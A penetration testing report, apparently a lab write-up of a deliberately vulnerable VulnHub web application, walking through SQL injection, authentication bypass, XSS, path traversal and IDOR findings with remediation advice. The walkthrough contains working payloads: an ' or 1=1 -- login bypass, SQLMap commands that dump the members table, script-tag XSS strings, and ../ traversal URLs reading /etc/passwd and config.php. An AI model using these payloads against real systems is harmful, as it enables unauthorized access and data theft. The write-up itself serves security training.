Penetration Testing Report

for

Seattle Sounds

Web Application

by

InfoSec Ninjas

on

Oct 18, 2016

Table of Contents

1.0 Introduction	3
2.0 Summary Result for Management Level	4
2.1 Conclusion for Management Level	4
3.0 Summary Result for Technical Level	5
3.1 Conclusion for Technical Level	6
4.0 Summary for Penetration Testing	7
4.1 Tools Used	7
4.2 Walkthrough	7
Part I - Critical	7
Part II - High	13
Part III - Medium	16
Part IV - Medium	22
Appendix A	26
About Seattle Sounds	26
Appendix B	27
About InfoSec Ninjas	27
Appendix C	28
Reference	28

1.0 Introduction

Seattle Sounds is running a website which is an eCommerce style web application. The management level of Seattle Sounds assigned InfoSec Ninjas to carry out a penetration test on the site to see if there is any vulnerability and to see if the server can be compromised via the web application vulnerability.

The Seattle Sounds website is hosting at 192.168.1.145. The penetration test is conducted between Oct 16, 2016 and Oct 17, 2016. The scope is to test the Seattle Sounds web application only.

This is the report for the result of the blackbox penetration testing.

2.0 Summary Result for Management Level

Vulnerability	Severity	Risk
SQL Injection	Critical	Web application hijacking Database file hijacking Administrative account hijacking
Authentication Bypass	Critical	Web application hijacking Database file hijacking Administrative account hijacking
Stored Cross-Site Scripting	High	Administrative session hijacking Client session hijacking
Reflected Cross-Site Scripting	High	Administrative session hijacking Client session hijacking
Insecure Direct Object Reference	Medium	Administrative account data leakage
Sensitive Data Exposure & Local File Inclusion	Medium	Servers and web application configuration data leakage
Weak Password Encryption	Medium	Administrative password leakage

The following list is the vulnerabilities discovered after the test.

2.1 Conclusion for Management Level

Final Severity Grading is **CRITICAL**.

The penetration testing result is showing that the web application program and the database can be compromised via the vulnerabilities of the web application program. The web application and database can be controlled by intruder(s). However, the Linux server for web application is configured properly and it cannot be controlled via the web application program vulnerabilities.

3.0 Summary Result for Technical Level

The following list is the result of the penetration test.

(A) SQL Injection

The login page (My Account) of the website for both "usermail" and "password" are vulnerable to Blind SQL Injection.

The variables "usermail" and "password" require data input validation and sanitization.

(B) Authentication Bypass

The login page (My Account) of the website for "password" is vulnerable. It can be bypassed with special code.

The variable "password" requires data input validation and sanitization.

(C) Stored and Reflected Cross-Site Scripting

The Blog page variables "content" and "author" are vulnerable to Stored and Reflected Cross-Site Scritping respectively.

The variables require data input sanitization.

(D) Insecure Direct Object Reference

The Blog page variables "author" can be changed and it is allowed to view other accounts.

The variable "author" requires to conduct access control check to ensure it is authorized for the request.

(E) Sensitive Data Exposure & Local File Inclusion

The download page (the front website image) is variable to <u>Path Traversal</u>. The configuration file (config.php) of web application and files of Linux server (such as /etc/passwd) can be accessed and downloaded. It is vulnerable to Local File Inclusion.

The admin directory and info.php can be accessed. Since phpinfo() of info.php can be accessed, the sensitive information is exposed.

The exposure of sensitive information usually due to misconfigure of the web application and/or Linux server.

(F) Weak Password Encryption

The password of tblMembers table in database is stored in plain text.

Strong data encryption with salt is required for the sensitive data storage, such as password.

3.1 Conclusion for Technical Level

Final Severity Grading is **CRITICAL**.

The Linux server and/or Web application are required to re-configurate for security hardening.

The web application should be re-do some of the programming to ensure all data input are validated and sanitized. Meanwhile, the password stored in the database should be encrypted with strong encryption method. Normally, the libraries for web application are required to re-programming only if it is a well designed web application system.

The /var/www/html directory is configured properly that intruder(s) cannot upload backdoor to the directories.

4.0 Summary for Penetration Testing

4.1 Tools Used

The following is the list of tools that using for the penetration testing. They are all latest official released version as at Oct 16, 2016.

(A) Firefox

(B) SQLMap

(C) ZAProxy

The Seattle Sounds web application is providing HTTP service only and only Port 80 is opened.

4.2 Walkthrough

Part I - Critical

- (A) Sensitive Data Exposure
- (B) Authentication Bypass
- (C) SQL Injection
- (D) Weak Password Encryption

When browsing the Seattle Sounds website, we find the email address "admin@seattlesounds.net" at the bottom of "Terms and Conditions" page. Further confirmed by clicking the "by Admin" at Blog page that the previous email address is used for the login. This is vulnerable to <u>Sensitive Data</u> <u>Exposure</u>. (Figure 1 to 2)

Command : http://192.168.1.145/blog.php?author=1

	Mozilla Fire	fox		000
fhttp://192.1	hp?author=1 × +			
192.16	8.1.145/blog.php?author=1	C 😣	Q, Search	☆ 自 ♥ ↓ 余 Ξ
Most Visited	👖 Moffensive Security 🥆 Kali Linux 🌂 Kali Docs 🌂 Kali Tools 🛸 Exploit-DB 🐚 Aircrack-	ng 🖾 phpVirtualBox 🧇Vi	ulnHub	
-	Current level: 1 Go	to Level 2		
		- Les	Na Para	
				A Destanting the
B. So				
3 A 19	Seattle S	souna	S	
	Home Vinyl Clothing	Blog	My Account	
87	Viewing all posts by Admin (admin@seattlesounds.net)			
2	Hey! by Admin			
8	Welcome to our site!			
<u>.</u>				
	lesting :) by Admin			
	Just testing out new blog.			
4				•



Command : https://192.168.1.145/terms.php





We then go to the login page, My Account, entered the username with the previous email address and (**' or 1=1 --**) for the password (ignore the

brackets). After that, the admin is logged in with this attempt. This is vulnerable to <u>Authentication Bypass</u>. (Figure 3 to 4)

Command : http://192.168.1.145/account.php

		Mozilla Firefox				000
http://192.1/account.php × +						
(192.168.1.145/account.php			C 🛞	Q, Search	公自 🛡 🛛	- ♠ =
📷 Most Visited 🔻 🛐 Offensive Security 🌂 Kali Linux 🌂 Kali Docs	s 🌂 Kali Tools 🔺 Exploit	-DB 🐚 Aircrack-ng	🛙 phpVirtualBox 🛭 🗇 Vu	InHub		
	Seatt	ICE SC	Dund	S		
Home	Vinyl	Clothing	Blog	My Account		
	Email admin@seattle Login	esounds.net Passu	vord			

r.		Mozilla Firefox			•••
http://192.1gin=success ×					
(192.168.1.145/account.php?login=success			C 🛞 🔍 Search	☆ 🗈	
📷 Most Visited 🔻 👖 Offensive Security 🌂 Kali Linux 🌂 Kali	ocs 🌂 Kali Tools 🍝 Explo	oit-DB 📡 Aircrack-ng 🖾 phpVirtu	alBox 🧇 VulnHub		
	(Current level: 1 Go to Level 2			
		H O			
Mark Mark				No. 20 Maria	
				1 8 2	
	Seat	IP SOU	nds	A. Comment	
	ocui		IIGS		
Home	Vinyl	Clothing	Blog My Acc	ount	
]
Post new blog:					
Title:	7				
Content	7				
Content.					
Post					

Figure 4

In general speaking, if the input field is vulnerable to Authentication Bypass, it may be also vulnerable to SQL Injection. We then confirmed that both variables "usermail" and 'password" are vulnerable to <u>SQL Injection</u> by using SQLMap.

The SQLMap result is showing that the current database user is administrator (DBA). Meanwhile, the password of the "admin" account is using plain text without any encryption. This is vulnerable to <u>Weak Password Encryption</u>. (Figure 5 to 8)

```
Command : ./sqlmap.py -u "http://192.168.1.145/login.php"
--data="usermail=admin%40seattlesounds.net&password=1234" --dbs
--cookie="level=1; lang=USD" --level=3 --risk=3 --is-dba --batch
--flush
```



Figure 5

Command : ./sqlmap.py -u "http://192.168.1.145/login.php" --data="usermail=admin%40seattlesounds.net&password=1234" --dbs --cookie="level=1; lang=USD" --level=3 --risk=3 --is-dba -D seattle --tables --batch





Command : ./sqlmap.py -u "http://192.168.1.145/login.php" --data="usermail=admin%40seattlesounds.net&password=1234" --dbs --cookie="level=1; lang=USD" --level=3 --risk=3 --is-dba -D seattle -T tblMembers --columns --batch

root@kali: ~/Documents/scanners/sqlmap	(0 (
File Edit View Search Terminal Help			
<pre>(03:02:15) [INF0] fetching columns for table itblMembers' in database "seattle 'commensue of the second example of the SQL query used returns 7 entries of (03:02:15) [INF0] retrieved: id (03:02:15) [INF0] retrieved: int(11) (03:02:15) [INF0] retrieved: username (03:02:15) [INF0] retrieved: varchar(64) (03:02:15) [INF0] retrieved: varchar(20) (03:02:15) [INF0] retrieved: varchar(32)st-attack.txt (03:02:15) [INF0] retrieved: varchar(32)st-attack.txt (03:02:15) [INF0] retrieved: hlog-http-post-attack.txt (03:02:16) [INF0] retrieved: int(11) (03:02:16] [INF0] retrieved: int(11)</pre>			
++ Column Type			
session varchar(32) admin int(11) blog int(11) i d int(11) name varchar(64) password varchar(20) username varchar(64) 			
[03:02:16] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.1.145'			
[*] shutting down at 03:02:16			
root@kali:~/Documents/scanners/sqlmap#	Ln 3, Col 209	×.	INS .

Figure 7

```
Command : ./sqlmap.py -u "http://192.168.1.145/login.php"
--data="usermail=admin%40seattlesounds.net&password=1234" --dbs
--cookie="level=1; lang=USD" --level=3 --risk=3 --is-dba -D seattle -T
tblMembers --dump --batch
```

r				root@	kali: ~/Documents/scanners/sqlmap	0	•	8
File Edit View	Search	Terminal	Help					
[03:03:26] [I [03:03:26] [I [03:03:26] [I [03:03:26] [I [03:03:26] [I [03:03:26] [I [03:03:26] [I [03:03:26] [I [03:03:26] [I do you want t	NFO] ret NFO] ret NFO] ret NFO] ret NFO] ret NFO] ret NFO] ana NFO] rec o store	rieved: rieved: rieved: rieved: rieved: rieved: lyzing cognized hashes	1 1 conternations and the second sec	ssword hash the column '	es session': her processing with other tools [y/N] N		E 77 4 1	
do you want t	o crack NEOl usi	ng hash	a a dictionary-based attack	¢ee[¥∕n∕q]≡	Vil=^USER^&password=^PASS^:Invalid password" -L admin@seattlesounds.net -H			
what dictiona [1] default d [2] custom di [3] file with > 1	ry do yo ictionar ctionary list of	ou want y file file diction	to use? '/root/Documents/scanners/: hydra http:post-attack.txt nary files	sqlmap/txt/	wordlist.ziphs(press Enter)Invalid password" -l admin@seattlesounds.net -f			
[03:03:26] [I								
do you want t [03:03:26] [I [03:03:26] [I [03:03:35] [I [03:03:36] [I Database: sea	o use co NFO] sta NFO] sta NFO] cra NFO] pos ttle	ommon par orting d orting 4 ocked par otproces	<pre>ssword suffixes? (slow!) [y ictionary-based cracking (r processes ssword 'admin@seattlesound: sing table dump</pre>	//N] N nd5_generic s.net' for				
[1 entry]	Dels							
++ id name	++ blog	admin	+ username	password	+			
++ 1 Admin ++	1	1	admin@seattlesounds.net	Assasin1	4cff8a69eb2824aebd478b9745ba6955 (admin@seattlesounds.net)			
[03:03:36] [I [03:03:36] [I	NFO] tab NFO] fet		ttle.tblMembers' dumped to ta logged to text files und		/root/.sqlmap/output/192.168.1.145/dump/seattle/tblMembers.csv' .sqlmap/output/192.168.1.145'			
[*] shutting	down at	03:03:3	6					
root@kali:~/D	ocuments	/scanne	rs/sqlmap#		Plain Text 👻 - Tal-Milith & 👻 - Lin 3, Col 2		-	INS
Eiguro 0								

Figure 8

Part II - High

- (A) Reflected Cross-Site Scripting
- (B) Stored Cross-Site Scripting

We are browsing Blog page, we test the "author" with ["><script>alert("XSS")</script>] (ignore [] brackets) and we confirm that it is vulnerable to <u>Reflected Cross-Site Scripting</u>. (Figure 9)

Command : http://192.168.1.145/blog.php? author="><script>alert("XSS")</script>



. Figure 9

We log in to the login page (My Account) with admin credentials (or Authentication Bypass). We enter the ["><script>alert("XSS")</script>]. Please ignore [] brackets. We confirm that the "content" field is valuable to Stored Cross-Site Scripting. (Figure 10 to 12)

Command : http://192.168.1.145/account.php Log in to : http://192.168.1.145/account.php?login=success

Command : "><script>alert("XSS")</script>

(http://1921_gip=succe	se ¥ •	Mozilla Firefox	• • •
(L) (192.168.1.145/au	count nhp2login=success	C Search	
Most Visited V	nsive Security 🛸 Kali Linux 🋸 Kali Docs 🋸 Kali Tools 🛸 Explo	it-DB SAircrack-ng RphpVirtualBox VulnHub	
	Seat Home Vinyl	Clothing Blog My Accourt	T
	Hello Admin! [Logout]		
	Post new blog: Title: Content: Post		
Figure 10			
(http://192.1_gip=succe	se v •	Mozilla Firefox	• • •
() 192.168.1.145/a	count.php?login=success	C 🚱 🔍 vulnhub	→☆自♡↓☆ 〓
Most Visited V Doffe	nsive Security 🌂 Kali Linux 🌂 Kali Docs 🌂 Kali Tools 🛸 Explo	it-DB Naircrack-ng phpVirtualBox @VulnHub	
	Seat Home Vinyl	Clothing Blog My Accour	nt
	Hello Admin! [Logout]		
	Post new blog:		
	Title: hello		
	Content: "> <script>alert("%§§")</script>		
	Post		

Figure 11

Command : Press <Post> button and refresh the page



Figure 12

Part III - Medium

- (A) Sensitive Data Exposure
- (B) Path Traversal
- (C) Local File Inclusion

We are using ZAProxy's "Force Browse" feature to crawl the website. We find an interesting folder "admin" and we find some PHP files with admin function. This is vulnerable to <u>Sensitive Data Exposure</u>. (Figure 13)

Command : http://192.168.1.145/admin/

			Index o	f /admin - Mozilla Firefox				C	•	⊗
Index of /admin	× +									
() 192.168.1.145/ad	min/				C 🛞	Q Search	☆ 自	+	⋒	≡
ost Visited ▼ MOffer	isive Security 🌂 Kali Linux	🕻 🌂 Kali Docs 🌂 Ka	ali Tools 🐟 Exploit-DB	📡 Aircrack-ng 🔤 phpVirti	ualBox 🗇 V	/ulnHub				
Index of /	admin									
	uumm									
Name	Last modified Siz	ze <u>Description</u>								
Parent Directory										
admin.php	2016-04-11 15:37 8	89								
admincontent.php	2016-04-11 15:37 60	07								
adminheader.php	2016-04-11 15:37 39	96								
adminnav.php	2016-04-11 15:37 67	75								
Shutter										
• 🖸										



Browsing the site, we find error message on products page when we using (') (ignore the brackets) to test the URL. It states that MariaDB is the database. This is vulnerable to <u>Sensitive Data Exposure</u>. (Figure 14)

However, this error message cannot lead to SQL Injection as it is confirmed false positive.

Command : http://192.168.1.145/details.php?prod=1'&type=1



Figure 14

We further test the website, we find the image at the front page leads to download a PDF file. We test it with "../../../../../../../etc/passwd" (ignore the quotation marks) and it downloaded a file which contained the content of /etc/passwd. This is vulnerable to Path Traversal. (Figure 15 to 17)

Command : http://192.168.1.145/download.php?item=Brochure.pdf



Figure 15

Command : http://192.168.1.145/download.php? item=../../../../etc/passwd





Content of passwd file :



Figure 17

We are thinking that if we can get any PHP file from the previous "admin" directory via <u>Path Traversal</u> vulnerability. We confirm that we can download any PHP file, for example "**../admin/admin.php**". We are guessing the configuration file of the web application is "config.php". Later, we can download the "config.php" file via the <u>Path Traversal</u> vulnerability. So, this is vulnerable to <u>Local File Inclusion</u>. (Figure 18 to 19)

Command : http://192.168.1.145/download.php?item=../config.php



Figure 18

The content of config.php :



Part IV - Medium

- (A) Insecure Direct Object Reference
- (B) Sensitive Data Exposure

When viewing the source code of Blog page, we find a link "/blog.php? author=1" very interesting. We try to find out that if it can display the admin account details without restriction. The username of the admin account, i.e. admin@seattlesounds.net is also displayed. We then change the "author" parameter to 2 and it can display the information about the author even there is no other user in the database except admin. So, it is vulnerable to <u>Insecure</u> <u>Direct Object Reference</u>. (Figure 20 to 22)



Figure 20

Command : http://192.168.1.145/blog.php?author=1

			Mozilla Firefox				000
http://192.1hp?a	author=1 × +						
192.168.1.1	145/blog.php?author=1			୯ 🛞	Q , Search	☆ 🛍	
👸 Most Visited 🔻 🛐	Offensive Security 🌂 Kali Linux 🌂 Kali Docs 🎽	Kali Tools 🛸 Exploit	t-DB 🐚Aircrack-ng 🔤	phpVirtualBox 🗇Vu	lnHub		
		CL	Irrent level: 1 Go to Lev	vel 2			
M			HY STATE		Na Prese		
E					and the		
13			He of			1	
30		seatt	le Sc	ound	S	S	
8	Homo	Vinul	Clothing	Plog			
•	Home	Villiyi	Clothing	ыоу	My Account		
E	Viewing all posts by Admin (admin@	seattlesounds.net)				
	Hey! by Admin						
	Welcome to our site!						
8							
63							
5							
• 🔁 🛛	Testing :) by Admin						
	Just testing out new blog.						

Figure 21

Command : http://192.168.1.145/blog.php?author=2

				Mozilla Firefox				00	0
/ http://192.1hp?auth	nor=2 × +								
() 192.168.1.145	/blog.php?author=2				C 🛞	Q, Search	1	+ 🏦	≡
🛅 Most Visited 🔻 🚺 Of	fensive Security 🌂 Kali I	inux 🌂 Kali Docs 🌂	🕻 Kali Tools 🛭 🛸 Exploit	-DB 📡 Aircrack-ng 📴	phpVirtualBox 🧇Vu	InHub			
		Pame 1	Seatt	rent level: 1 Go to Lev le Sc	pund	S			
	0	Home	Vinyl	Clothing	Blog	My Account		 	
	Viewing all posts b Couldn't find any po	y 0 sts by author: 2.							
-									

Figure 22

Finally, we try to guess if there is any "phpinfo.php" page. We try phpinfo.php with no success. Then, we try to use "info.php" and it displays the phpinfo()

page. It also reveals the web root directory is at **/var/www/html**. It is vulnerable to <u>Sensitive Data Exposure</u>. (Figure 23 to 24)

Command : http://192.168.1.145/info.php

		phpinfo() - Mozilla Firefox	• •								
phpinfo()	× +										
6 192.168.1.14	15/info.php	C 🛞 🔍 Search	☆ 自 ♥ ↓ 余 🗄								
Most Visited 🔻 🚺	Offensive Security 🌂 Kali Linux 🌂 Kali Docs 🌂 Kali	Tools 🔦 Exploit-DB 🐚 Aircrack-ng 🖾 phpVirtualBox 🗇 VulnHub									
-			_								
	PHP Version 5 6 14	aba									
Ũ	FHF Version 5.0.14	prip)								
3											
	System	Linux localhost.localdomain 4.2.3-300.fc23.x86_64 #1 SMP Mon Oct 5 15:42:54 UTC 2015 x86_64									
~	Build Date	Sep 30 2015 12:55:35									
3	Server API	Apache 2.0 Handler									
F	Virtual Directory Support	disabled	-								
	Configuration File (php.ini) Path	Configuration File (php.ini) Path /etc									
·	Loaded Configuration File	/etc/php.ini	1								
	Scan this dir for additional .ini files	/etc/php.d									
₩ ₩	Additional .ini files parsed	/etc/php.d/20-bz2.ini, /etc/php.d/20-calendar.ini, /etc/php.d/20-ctype.ini, /etc/php.d/20-curl.ini, /etc/php.d/20-extilini, /etc/php.d/20-fileinfo.ini, /etc/php.d/20-ftp.ini, /etc/php.d/20-gettext.ini, /etc/php.d/20-iconvini, /etc/php.d/20-dap.ini, /etc/php.d/20-sqlite3.ini, /etc/php.d/20-gettext.ini, /etc/php.d/20-iconvini, /etc/php.d/20-sockets.ini, /etc/php.d/20-sqlite3.ini, /etc/php.d/20-gettext.ini, /etc/php.d/20-splar.ini, /etc/php.d/20-sockets.ini, /etc/php.d/20-sqlite3.ini, /etc/php.d/ /20-tokenizer.ini, /etc/php.d/30-mysql.ini, /etc/php.d/30-mysqli.ini, /etc/php.d/30-pdo_gmysql.ini, /etc/php.d/30-pdo_sqlite.ini, /etc/php.d/30-jon.ini									
_	PHP API	20131106									
	PHP Extension	20131226	-								
	Zend Extension	220131226									
Shutter	Zend Extension Build	API220131226,NTS	1								
	PHP Extension Build	API20131226,NTS									
<u> </u>	Debug Build	no									
	Thread Safety	disabled									
	Zend Signal Handling	disabled									
	Zend Memory Manager	enabled	1								
	Zend Multibyte Support	disabled	1								
	IPv6 Support	enabled									
Figure 23											

ifo()	× +			
192.168.1.145	5/info.php	C 🛞 🔍 Search	☆ 自 ♥ ♣	Â
Visited 💌 💵 Oʻ	ffensive Security, 🛸 Kali Linux, 🋸 Kali Docs '	Kali Tools 💊 Exploit-DB 🔊 Aircrack-ng 🖾 phpVirtualBox 🔊 VulnHub		
		Transforcarianin-transforcarianin-transformit-transformit		_
	SERVER_SIGNATURE	no value		
	SERVER_SOFTWARE	Apache/2.4.16 (Fedora) OpenSSL/1.0.2d-fips PHP/5.6.14		
	SERVER_NAME	192.168.1.145		
	SERVER_ADDR	192.168.1.145		
	SERVER_PORT	80		
	REMOTE_ADDR	192.168.1.112		
	DOCUMENT_ROOT	/var/www/html		
	REQUEST_SCHEME	http		
	CONTEXT_PREFIX	no value		
	CONTEXT_DOCUMENT_ROOT	/var/www/html		
	SERVER_ADMIN	root@localhost		
	SCRIPT_FILENAME	/var/www/html/info.php		
	REMOTE_PORT	40822		
	GATEWAY_INTERFACE	CGI/1.1		
	SERVER_PROTOCOL	HTTP/1.1		
	REQUEST_METHOD	GET		
	QUERY_STRING	no value		
	REQUEST_URI	/info.php		
Shutter	SCRIPT_NAME	/info.php		
		HTTP Headers Information		
		HTTP Request Headers		
	HTTP Request	GET /info.php HTTP/1.1		
	Host	192.168.1.145		
	User-Agent	Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0		
1ro 71				

Appendix A

About Seattle Sounds

Seattle Sounds web application is a virtual machine and it is vulnerable by design. The author of this virtual machine is HollyGraceful who is a female penetration tester. This report is about the penetration testing of the version 0.3 with Level 1. The virtual machine is designed for beginner and/or Moderate. This web application has the following vulnerabilities :

SQL Injection Reflected and Stored Cross-Site Scripting Insecure Direct-Object Reference Username Enumeration Path Traversal Exposed phpinfo() Exposed Administrative Interface Weak Admin Credentials

You can download it at https://www.vulnhub.com/entry/seattle-v03,145/

To extract the downloaded file in debian or Ubuntu Linux :

sudo apt-get install p7zip 7z x Seattle-0.0.3.7z

Appendix B

About InfoSec Ninjas

Penetration Tester and report writer of this penetration test is Samiux (nick samiux) who is an Information Security Enthusiast. He is OSCE, OSCP and OSWP. He is also running a website namely InfoSec Ninjas. His slogan is :

While you do not know attack, how can you know about defense? (未知攻,焉知防?)

He has some active projects about information security, they are :

- (1) Almond Croissants Intrusion Detection and Prevention System
- (2) Danish Intrusion Detection System
- (3) NightHawk Torified Ubuntu VPN Server
- (4) Secure Ubuntu Web Server with Hiawatha

He can be reached at :

- (1) Samiux's Blog https://samiux.blogspot.com
- (2) InfoSec Ninjas https://www.infosec-ninjas.com
- (3) IRC freenode #infosec-ninjas

<u>Reference</u>

The following certificates are issued by Offensive Security (https://www.offensive-security.com) :

OSCE – Offensive Security Certified Expert

OSCP – Offensive Security Certified Professional

OSWP – Offensive Security Wireless Professional

Appendix C

Reference

OWASP Testing Guide v4 https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents

OWASP Top 10 Project https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

SQLMap - http://sqlmap.org/

ZAProxy - https://github.com/zaproxy/zaproxy

Firefox - https://www.mozilla.org/en-US/firefox/products/

End of the Report